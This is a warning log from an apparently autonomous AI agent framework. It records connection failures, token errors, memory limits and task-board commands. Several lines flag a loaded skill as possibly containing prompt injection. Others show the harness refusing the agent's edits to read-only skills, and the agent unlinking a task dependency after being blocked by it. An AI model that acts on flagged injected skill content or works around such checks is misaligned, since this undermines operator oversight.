06:37:59,893 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-09-11 06:38:00,382 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-09-11 07:57:23,904 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 07:57:23,904 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 07:57:27,418 WARNING agent.model_metadata: Could not determine context length for model 'default' (base_url=default) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-09-11 07:57:30,443 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 07:57:37,582 WARNING tools.registry: check_fn check_bfl_requirements returned False; dependent tools will be unavailable this turn 2026-09-11 07:57:37,703 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-09-11 07:57:37,714 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-09-11 07:57:37,762 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 07:57:37,762 WARNING tools.mcp_tool: Failed to connect to MCP server 'stays' (command=stays mcp): Connection closed 2026-09-11 07:57:37,775 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 07:57:37,917 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-09-11 07:57:37,924 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-09-11 07:57:37,926 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-09-11 07:57:37,927 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-09-11 07:57:38,522 WARNING agent.model_metadata: Could not determine context length for model 'default' (base_url=http://localhost:20128/v1) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-09-11 08:02:45,271 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 08:04:13,824 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 08:04:13,876 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 08:04:13,894 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 08:04:13,932 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 08:04:21,868 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 08:04:37,444 WARNING [20260910_161506_4ea28f] agent.tool_executor: Tool terminal returned error (0.08s): {"output": "", "exit_code": 1, "error": null, "exit_code_meaning": "No matches found (not an error)"} 2026-09-11 08:09:31,272 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 08:12:39,036 WARNING hermes_cli.web_server: event loop stalled 14.8s (GIL pressure suspected) 2026-09-11 08:12:59,154 WARNING [20260908_091541_71407d] agent.tool_executor: Tool terminal returned error (1.20s): {"output": "Traceback (most recent call last):\n File \"\", line 1, in \nsqlite3.OperationalError: no such column: run_at\nError in sys.excepthook:\nTraceback (most recent call last): 2026-09-11 08:13:46,884 WARNING [20260908_091541_71407d] tools.skills_tool: Skill name collision for 'research-critism': 2 candidates — /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-09-11 08:13:46,885 WARNING [20260908_091541_71407d] agent.tool_executor: Tool skill_view returned error (0.10s): {"success": false, "error": "Ambiguous skill name 'research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-09-11 08:14:01,450 WARNING [20260908_091541_71407d] agent.tool_executor: Tool skill_manage returned error (0.12s): {"success": false, "error": "Skill 'research/research-critism' not found in active profile 'reviewer'. Use skills_list() to see available skills."} 2026-09-11 08:14:38,686 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 08:17:54,328 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 08:17:54,409 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 08:17:54,431 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 08:17:54,516 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 08:18:03,430 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 08:23:11,354 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 08:28:17,981 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 08:33:25,588 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 08:37:17,573 WARNING [20260908_091541_71407d] agent.tool_executor: Tool search_files returned error (1.32s): {"total_count": 0, "error": "Search failed: rg: regex parse error:\n (?:*)\n ^\nerror: repetition operator missing expression"} 2026-09-11 08:37:38,100 WARNING [20260908_091541_71407d] tools.skills_tool: Skill security warning for 'kanban-multi-profile-orchestration': skill content contains patterns that may indicate prompt injection 2026-09-11 08:38:32,632 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 08:43:40,435 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 08:48:47,740 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 08:53:55,764 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 08:59:04,269 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 09:04:12,315 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 09:05:47,042 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 09:05:47,057 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 09:09:20,656 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 09:14:28,618 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 09:19:36,150 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 09:22:29,367 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 09:22:29,367 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 09:23:56,135 WARNING [20260908_091541_71407d] tools.skills_tool: Skill name collision for 'research-critism': 2 candidates — /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-09-11 09:23:56,136 WARNING [20260908_091541_71407d] agent.tool_executor: Tool skill_view returned error (0.12s): {"success": false, "error": "Ambiguous skill name 'research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-09-11 09:24:20,201 WARNING [20260908_091541_71407d] agent.tool_executor: Tool skill_manage returned error (0.03s): {"success": false, "error": "Refusing background curator patch for skill 'research-critism': the skill lives in skills.external_dirs, which are externally owned and read-only to autonomous curation."} 2026-09-11 09:24:42,903 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 09:24:58,934 WARNING [20260908_091541_71407d] tools.skills_tool: Skill security warning for 'kanban-multi-profile-orchestration': skill content contains patterns that may indicate prompt injection 2026-09-11 09:29:50,598 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 09:34:57,497 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 09:40:05,227 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 09:45:13,071 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 09:50:21,226 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 09:55:28,829 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 10:00:36,930 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 10:05:44,135 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 10:10:51,534 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 10:15:58,737 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 10:21:06,914 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 10:22:30,104 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 10:22:30,104 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 10:26:14,789 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 10:31:22,032 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 10:36:30,139 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 10:37:45,714 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 10:37:45,735 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 10:37:45,747 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 10:37:45,768 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 10:37:52,385 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 10:41:35,638 WARNING [20260908_091541_71407d] agent.tool_executor: Tool web_extract returned error (0.48s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-09-11 10:43:00,858 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 10:43:40,708 WARNING tools.registry: check_fn check_bfl_requirements returned False; dependent tools will be unavailable this turn 2026-09-11 10:43:40,724 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-09-11 10:43:40,732 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-09-11 10:43:40,783 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-09-11 10:43:40,792 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-09-11 10:43:40,795 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-09-11 10:43:40,796 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-09-11 10:43:48,272 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 10:44:03,814 WARNING [20260908_091541_71407d] agent.tool_executor: Tool memory returned error (0.04s): {"success": false, "error": "Memory at 2,021/2,200 chars. Adding this entry (605 chars) would exceed the limit. Consolidate now: use 'replace' to merge overlapping entries into shorter ones or 'remove 2026-09-11 10:44:31,719 WARNING [cron_0a3c34c8fdeb_20260911_104340] agent.tool_executor: Tool terminal returned error (1.11s): {"output": "usage: hermes kanban [-h] [--board ]\n {init,boards,create,swarm,list,ls,show,assign,set-model,reclaim,reassign,diagnostics,diag,link,unlink,claim,comment,attach, 2026-09-11 10:44:44,046 WARNING [cron_0a3c34c8fdeb_20260911_104340] agent.tool_executor: Tool terminal returned error (1.03s): {"output": "cannot promote t_3f9094bf: unsatisfied parent dependencies: t_b70d2309 (use --force to override)", "exit_code": 1, "error": null} 2026-09-11 10:44:55,829 WARNING [cron_0a3c34c8fdeb_20260911_104340] agent.tool_executor: Tool terminal returned error (1.00s): {"output": "usage: hermes [-h] [--version] [-z PROMPT] [--usage-file PATH] [-m MODEL]\n [--provider PROVIDER] [--reasoning LEVEL] [-t TOOLSETS]\n [--resume SESSION] [--no-res 2026-09-11 10:45:15,285 WARNING [cron_0a3c34c8fdeb_20260911_104340] agent.tool_executor: Tool terminal returned error (1.28s): {"output": "cannot promote t_3f9094bf: task t_3f9094bf is 'ready'; promote only applies to 'todo' or 'blocked'", "exit_code": 1, "error": null} [Tool loop warning: repeated_exact_failure_warning; cou 2026-09-11 10:45:33,070 WARNING [20260908_091541_71407d] agent.tool_executor: Tool memory returned error (0.00s): {"success": false, "error": "Operation 3 (remove): 'Learning: NN Vo uses NotebookLM' matched multiple distinct entries -- be more specific. No operations were applied (batch is all-or-nothing).", "cur 2026-09-11 10:45:41,862 WARNING [cron_0a3c34c8fdeb_20260911_104340] agent.tool_executor: Tool terminal returned error (1.20s): {"output": "usage: hermes [-h] [--version] [-z PROMPT] [--usage-file PATH] [-m MODEL]\n [--provider PROVIDER] [--reasoning LEVEL] [-t TOOLSETS]\n [--resume SESSION] [--no-res 2026-09-11 10:45:56,452 WARNING [cron_0a3c34c8fdeb_20260911_104340] tools.skills_tool: Skill security warning for 'kanban-multi-profile-orchestration': skill content contains patterns that may indicate prompt injection 2026-09-11 10:46:17,106 WARNING [20260908_091541_71407d] tools.skills_tool: Skill security warning for 'kanban-multi-profile-orchestration': skill content contains patterns that may indicate prompt injection 2026-09-11 10:48:56,300 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 10:54:04,299 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 10:55:00,926 WARNING [20260908_091541_71407d] agent.tool_executor: Tool terminal returned error (1.21s): {"output": "cannot complete t_3f9094bf (unknown id or terminal state)", "exit_code": 1, "error": null} 2026-09-11 10:55:12,579 WARNING [20260908_091541_71407d] agent.tool_executor: Tool terminal returned error (1.31s): {"output": "Traceback (most recent call last):\n File \"\", line 1, in \nsqlite3.OperationalError: no such table: tasks\nError in sys.excepthook:\nTraceback (most recent call last):\n 2026-09-11 10:55:15,943 WARNING [20260908_091541_71407d] agent.tool_executor: Tool terminal returned error (0.46s): {"output": "Traceback (most recent call last):\n File \"\", line 1, in \nsqlite3.OperationalError: no such column: parents\nError in sys.excepthook:\nTraceback (most recent call last) 2026-09-11 10:55:34,720 WARNING [20260908_091541_71407d] agent.tool_executor: Tool terminal returned error (1.33s): {"output": "cannot promote t_fe587111: unsatisfied parent dependencies: t_b70d2309 (use --force to override)", "exit_code": 1, "error": null} 2026-09-11 10:56:17,162 WARNING [20260908_091541_71407d] agent.tool_executor: Tool terminal returned error (1.80s): {"output": "Unlinked t_b70d2309 -> t_fe587111\ncannot promote t_fe587111: task t_fe587111 is 'ready'; promote only applies to 'todo' or 'blocked'", "exit_code": 1, "error": null} 2026-09-11 10:56:41,388 WARNING [20260908_091541_71407d] tools.skills_tool: Skill security warning for 'kanban-multi-profile-orchestration': skill content contains patterns that may indicate prompt injection 2026-09-11 10:59:12,555 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 11:03:24,539 WARNING [20260908_091541_71407d] agent.tool_executor: Tool terminal returned error (0.05s): {"output": "", "exit_code": 1, "error": null, "exit_code_meaning": "No matches found (not an error)"} 2026-09-11 11:04:20,808 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 11:06:54,209 WARNING [20260908_091541_71407d] tools.skills_tool: Skill security warning for 'kanban-multi-profile-orchestration': skill content contains patterns that may indicate prompt injection 2026-09-11 11:07:47,303 WARNING [20260908_091541_71407d] agent.tool_executor: Tool memory returned error (0.02s): {"success": false, "error": "Memory at 2,073/2,200 chars. Adding this entry (393 chars) would exceed the limit. Consolidate now: use 'replace' to merge overlapping entries into shorter ones or 'remove 2026-09-11 11:09:28,562 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 11:14:35,889 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 11:19:43,986 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 11:24:51,030 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 11:28:00,391 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 11:28:00,394 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 11:29:59,432 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 11:35:07,276 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 11:40:15,300 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 11:45:23,396 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 11:50:30,955 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 11:55:40,167 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 12:00:47,266 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 12:05:50,685 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 12:05:50,751 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 12:05:50,778 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 12:05:50,821 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 12:05:55,368 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 12:11:03,238 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 12:16:11,576 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 12:21:20,193 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 12:26:27,736 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 12:31:36,387 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 12:34:15,578 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 12:34:15,579 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 12:34:19,438 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 12:34:19,478 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 12:34:19,500 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 12:34:19,537 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 12:34:27,662 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 12:39:35,346 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 12:44:43,894 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 12:49:51,046 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 12:54:59,236 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 13:00:08,020 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 13:01:33,246 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 13:01:33,273 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 13:01:33,293 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 13:01:33,351 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 13:01:41,846 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 13:06:49,673 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 13:11:58,208 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 13:17:08,385 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 13:22:16,486 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 13:23:31,484 WARNING [20260908_091541_71407d] tools.skills_tool: Skill security warning for 'kanban-multi-profile-orchestration': skill content contains patterns that may indicate prompt injection 2026-09-11 13:24:02,061 WARNING [20260908_091541_71407d] agent.tool_executor: Tool skill_manage returned error (0.05s): {"success": false, "error": "Refusing background curator patch for skill 'research-pipeline': the skill lives in skills.external_dirs, which are externally owned and read-only to autonomous curation." 2026-09-11 13:25:49,751 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 13:25:49,752 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 13:26:24,167 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 13:26:24,282 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 13:26:24,312 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 13:26:24,334 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 13:26:32,792 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 13:31:40,315 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 13:32:58,912 WARNING [20260908_091541_71407d] agent.tool_executor: Tool memory returned error (0.01s): {"success": false, "error": "After applying all 2 operations, memory would be at 2,436/1,375 chars -- over the limit. Remove or shorten more entries in the same batch (see current_entries below), then 2026-09-11 13:36:36,072 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → 